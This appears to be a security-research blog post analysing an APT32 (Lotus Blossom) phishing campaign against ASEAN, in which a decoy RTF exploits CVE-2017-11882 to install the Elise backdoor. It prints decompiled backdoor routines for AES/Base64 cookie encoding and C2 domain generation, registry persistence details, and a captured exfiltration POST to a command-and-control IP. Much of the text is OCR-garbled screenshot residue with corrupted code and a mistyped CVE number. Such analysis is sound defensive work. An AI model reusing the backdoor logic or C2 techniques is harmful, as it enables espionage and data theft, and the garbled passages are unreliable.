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APT32 Continues ASEAN Targeting
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During the last weeks of January (2018), nation state actors from APT32 (Lotus Blossom) conducted a
targeted malspam campaign against the Association of Southeast Asian Nations (ASEAN) countries. This
isn't terribly surprising considering the group's watering hole activity against ASEAN websites as
observed in the Fall of 2017. In another apparent prong of attack, the new campaign delivers a malicious
RTF document posing as an ASEAN Defence Minister's Meeting (ADMM) directory (decoy) that also
carries an executable (payload) embedded as an OLE object, the Elise backdoor.
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The Elise backdoor is not new malware and has been successfully diagnosed in the past by Industry

researchers (e.g. Palo Alto Unit 42's 2015 report ) and more recently by Volexity

and Accenture

Each of these are valuable resources to understanding the Elise malcode, infection process, and known

capabilities of the backdoor. In addition, a current ANY.RUN playback of our observed Elise infection is

also available.

Upon opening of the MS Word document, our embedded file exploits CVE-2017-11882

to drop a

malicious fake Norton Security Shell Extension module, 'NavShExt.dll ', which is then injected into

iexplore.exe to install the backdoor, begin collection, and activate command and control.
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Moving through the

action as the Microsoft Equation Editor, ' EQNEDT32.exe', scores high for potentially malicious activity.

w

Rargel Tasgrs Pfy Tangel Fik Ha
sudamdor dpen fystem Frocm oparer.ro [EUEEE R eiplarerge
e Srowsar aoiss opiorndne  COPROLE R SETRLITIT BT iR i
'Wribe o Deenrleble Naxnat 41 iy Larlaty A LRl Wscker! Wethet.cll
Maciéy Fan foy Gk D e ST T TP SR BT 1 O I ot Mg nad W e e et ey e @ikl
e Pr ey P TR T Freguesfilensmnan Fievabmacall e GLATICH, PR Ead
Creals Padeis EOEDTR R CoPregi filen CEmaoh Fie sMimasall SFa e £ GUATION, BT Bl
Dhongme nivagwm ga0  \Wribe fo Farndiesie (1] Chlhe e NE -8 S L et aret Bamgn eh
Erazte Fracena Ll e Sysemdl ekt
O R W GRIETE OOt AT O DMl 8, A DRI ERE
[T O COPragun 1 o R CHTRoR L WINADFRD. [V
s B e [ o " wilABRE, [
Deogmeriysdamfior My Interaed Tore Settngn @140 LA 3-) 52 -R0T IO F - T WASE ST B IR Jo Ry Mg sal Ul vy Do st denmesniome Jat. 31400
Drosstnssamec:  Maary Inersel Tone Senng @100 HOAE 150 TR0 02 TEL SES 0 BT D L Ab O SaMacant W ST IR ol AL Vere v LT SaL. @100
Creshe Pascess SeanhitaHa., CWndwnSydend SaghRlertisl o
Crehy Pracri WIRWOARET o Proguen Nien Wirone® OF e D18 WIHAORD G
EEEIEET L) NI L L]

same process was also flagged in our any.run playback.

infection process, NetWitness Endpoint detects the initial exploit (CVE-2017-1182 ) in
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Our malware then spins up an instance of 'iexplore.exe' and injects 'NavShExt.dll

'into that process.
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While this is happening, the malware establishes persistence by creating an autorun in the registry and then
also creates 'thumbcache_1CD60.db' at 'Users\admin\ AppData\ Local\ Microsoft\ Windows\ Explorer\' to

store harvested data.
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Changes the autorun value in the registry
Installation registry
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HKEY_CURRENT _USER\Software\Microsoft\Windows\CurrentVersion
YRun
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operation: write
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time: +2516ms
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As the infection process completes, we now observe Elise network activity (e.g., exfil of victim data and C2)

through a conveniently hidden instance of Internet Explorer.
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This traffic was also observed in NetWitness Packets, as the malware verifies the host IP address prior

to kicking off C2 out to 103.236.150[.]14 , which is likely compromised infrastructure.
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Take note of the cookie set in this HITTP POST, because Lotus Blossom actors go to significant lengths to
protect this data via both B64 encoding and AES encryption. The actual C2 for Elise takes place over

"cookie" code and (rarely) body content.

w2y a;

uZs {void =)ak;

vy = this + 34;

vt = this + 188;

vih = B;

memset{&Dst, @, O=5%u);

if { sub_D39BCF{74, &w27, uh, B3k, (void =x)al) )

{
sub D37FBE("AES Encrypt Cookie2? Fail?");
return 8;

¥

v/ = ={ DUORD =}{wS + 423} + ={ DUORD =}{uwS + 38) + Lb;

w3d2 = B;

memset{&U33, B, O=FCu};

sub_D3A476(Ew32, BxFDu, vwS, vi);

v3ig = B;

menmset(&u31, @, B=18Cu);

vz = B;

if { sub D39BCF{v7¥, &w26, &u32, &u3H, v28)

{
sub D37FBE("AES Encrypt Cookie3 Fail?*");
return 8;

¥

ug operator new{@xz62u};

ug w27 ;

v2s = ug;

u27 operator new(2 = {4 = ({{signed int)uv27 + 2} /7 3)

v2g operator new(2 = {4 = ({v26 + 2} F 3} + 1)1});

puszHeaders = (LPCUSTR}1;

u18 = sub DIBLIC{34);

if { vig == -1 )

{
sub D37FBE("AppType Based4Encode fail?™);
pwszHeaders = B;

¥

uill = sub D3BLFC{uD};

v2h = uwil;

if { vi1 == 1)

{
sub D37FBE("1pEnAppHead Base64Encode fail?™);
pwszHeaders = B;
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sub_ DIFFBE("'m_client_ head Base6hEncode failt™);
pwszHeaders

if ( tpwszHeaders )

operator deletef{u?5);
operator delete( -
operator delete(uv28);
return 8;
¥
ula ul1 + wi2 + vi1B + 108;
{__int16 =)operator new(@=2@8u);
eaders = (LPCWSTR)operator new(? = vi3);
rand{};
= {(unsigned int)sub D322D3(
sub_D3A6G8Y{v14, 260, 268, L' v16);
sub_DIATBE (p eaders, wi -
sub_DIAARZA(pwszHeaders, u w25, vwig);
operator delete{v25);
vi? = rand{};
ul18 = {(unsigned int)sub D322D3(
sub_D2AGEY(u1s, 2608, 2608, L";
sub_D2A93E{{__int16 =)puszHead
sub_DIARZA{pw eaders, wi A
operator delete{v2?);
vi? = prand{};
v2@ = {unsigned int)sub_D322D3(
sub D3AGED(uik, 260, 2608, L":
v21 = {__int1é =)pw
sub_D3AP3E((__int16 Headers, uld, uwik);
sub_D3IAAZ2aduv21, w13, w28, w2h6);
operator delete{uv28);
sub_D3AP3E{w21, v13, {__int16 =)L"
operator delete(uil);
if ( a3 )
u22 = ={yoid *=){a2 + 16);

us = #{uoid ==)({a? + 12);
»(_DWORD =){aZ + B) = u22;
if ( WinHttpAddRequestHeaders(vz2, (LPCWSTR)v21, wcslen{{const unsigned int16 =)u21), GxA0000060) )

Other infections (from the identical payload) each generated their own decoy domains to populate the host

header, but in every case actually used the same hard-coded IP address, 103.236.150[.]14
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Service id ype Sournce destination senvice
fw-concentrator-cuckoo - Concentrator 22229194 Network Session 10.10.10.160: 49164 103.236.150.14: 80 80

¥ Request & Response = [ Top To Bottom E view Text ¥ Actions = open Event in New Tab

POST /icmurlee/sktvhwj.xml HTTFA1.1

Cache=Contrel: no-cache

Connection: Keep=-Alive

Pragma: no-cache

Aocept: =/=®

Accept-Encoding: gzip, deflate

Accept-Language: en-US

Cookie: vwihloo=lgMVJIyRzYAVIeOnaTKALSIMIivEyljIfJycoMRdt TdEBmB0==;
Sldecde=¥EoJEtbU1VekIQEYDRISF4ME0HSr TRIEZzesETpAKTAC ler FORN Jxnng TRHRYEVIQua0/0P4de ket R 2Bk aak 3W ) Ldpf Owd LOATOgWGE I cmi =3
ZEpSESYMSKSEAPptLIEIW1e TSFopE I IRNEQGERT I {TafDEexTef y2nSRog2paXReNa/ la9mkEYy 1 hd {xWRaDER TUe 1 AYBDERZ 1 ht aPNES AP EPWCA Y= §
Host: o.lozf.fetlo.l00eyld.info

User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NWET CLR 3.5.30729;
.HET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Content-Length: 2962

€. 6790, 9 0EGEGIE 1PV TITOLGGOH00-/ (OO0 A 02, O GO IHH06 B0 69 O HO . HLTI0HE
g. Gy, TR0 L1900 19000 . L9009 . 390 . (909

GG GeOH-502:. 99 . b GOV HH-06 bz
GO IHTHH . A G601 G090 31— 190000190 690900 GO0 GO0 6 O GO s HFIGS:D.
< i GG cOO-OF[ul, $0€. 60O bG 66606, “]RGI# VOO0 | GO G0 G
GO0y HOHOE .00 10001 66, 19 :-6 =M
190 . DHPTHH0 . G090 0o 9299296 . 6099 9369990999 999 19016900919 S-G9
G 00000 1r00: -9 00906000000 . H26-0906. | 160cH B FOLHHVIFL. >\ v L G126 00/H G EHH 1A . Oz
G OyO=—-9b; 101/ 909 6.6, .99 15.02. 39
GO0 1OF 99 VR0 (999 L. 09Ty . 90 995999 | 19999 . 9919 993590990 9999 0000k | 196 . ¢ O-
Mlmﬂ[ i“: i .“‘o.oﬂkmﬂiﬁz ““-} NN TS TSR T 7Y T
cREPPPe. 0. = F0) PN 0e00=: 1029990, 9. . 29T 9L 99995 __9- . 1300909 ER .09 Fo. Bz Eel B
GOreeOnI €.\ oo . e . v | . ENE1E-d. 940D 9E . iESNEE . 999 06090 9009
G0 LPTH. 911 EDIEGHTLEH (99 . 99 0PN e. 99 . 99099 pO=OV. .PHRLS. . PP L. PO . D9, .. 9
& .90 _a9rOe. 99 900 =OPIrF0E. .xcPL0.
<GP, 4G | PP (97 .9.005 " 16, 0cCO-9HvE . B v O -390, $029 . 9+ P 0000 B9, L LEVD 1D . 9/ 9D 9D D9

The threat actors actually went to significant efforts to generate these seemingly random domains, likely in

an attempt at obfuscating C2 traffic and avoiding domain-based detection/mitigation.
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vg = L*_.com";
i@ L".net™;
ull = L".org";
ul? L".info";
vi3d = B;
vi = rand{} % 4 + 1;
memset{&Dst, @, B=Z86u);
if (vl £3)
1
v?Z = rand{}) % 5 + 3;
u3 = sub_D322D3A(v2, 4);

sub_D322D3(1, u);

sub_D3APBB{&v13, 268, uv3);
if (vl >1)
1
vy = vl - 1;
do
1
sub D3A9IE{&WIZ, 268, L".");
vt = rand{};
1] sub_D322D3Cvs % 5 + 3, 4);
sub_ D3A93E({&uv13, 2608, va);
——ul;
H
while { vl 3);
¥
u? = rand{}) % u;
sub DIAPIE{EHVIZ, 2608, (&u9)[2 = u7]);
return sub_D3A922{al1, 268, (const char =)L""%s", (unsigned int)&uv13);
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switch { a2 )
1
case 1:
uZ2 = “abcdefghijklmnopgrstuvw=yz";
break ;
case 2:
vZ2 = "ABCDEFGHI JKLHHOPQRS TUUWEY 2™ ;
break;
case 3:
vz = "B123456780";
break;
case 4:
v2 = "B12345678% bcdefghi jklmnopgrstuvwxzyz";
break;
default:
v2 = "ABCDEFGHIJELHHOPQRSTUUWKYZB123456789abocdefghi jklmnopgrstuvwxzyz";
break;
¥
vy = @;
memset{&Dst, @, Bx206u);
vd = strlen{v2);
u¥ = 8;
memset{&vd, A, Bx206u);
if ( a1l 2= 1)
1
vhd = al;
do
{

vh = rand{)};

sub_D3A922(&v9, 26A, (const char =)L"%c™, v2[ul % vd]);
sub_D3IA9IE(&UY, Bx184%u, &u9jl;

——uh;

b
while { v6 };
b3

return &u¥;

Based on both previous activity and this current Lotus Blossom campaign, it is clear that we are witnessing

the continued rise of cyber tradecraft and activity from nation-states in the Southeast Asian theater.

Thanks to Kent Backman, Justin Lamarre, and Ahmed Sonbol for their assistance with this research.

The following samples were used for this analysis:

® Malicious RTF Dropper (SHA256): d3fc69a9f2ae2c446434abbfbe1693ef0f81a5da0a7{39d27c80d85f4a49c411

® NavShExt.dll (SHA256): 6dc2a49d58dc568944fef8285ad7a03b772b9bdf1fe4bddff3flade3862eae79
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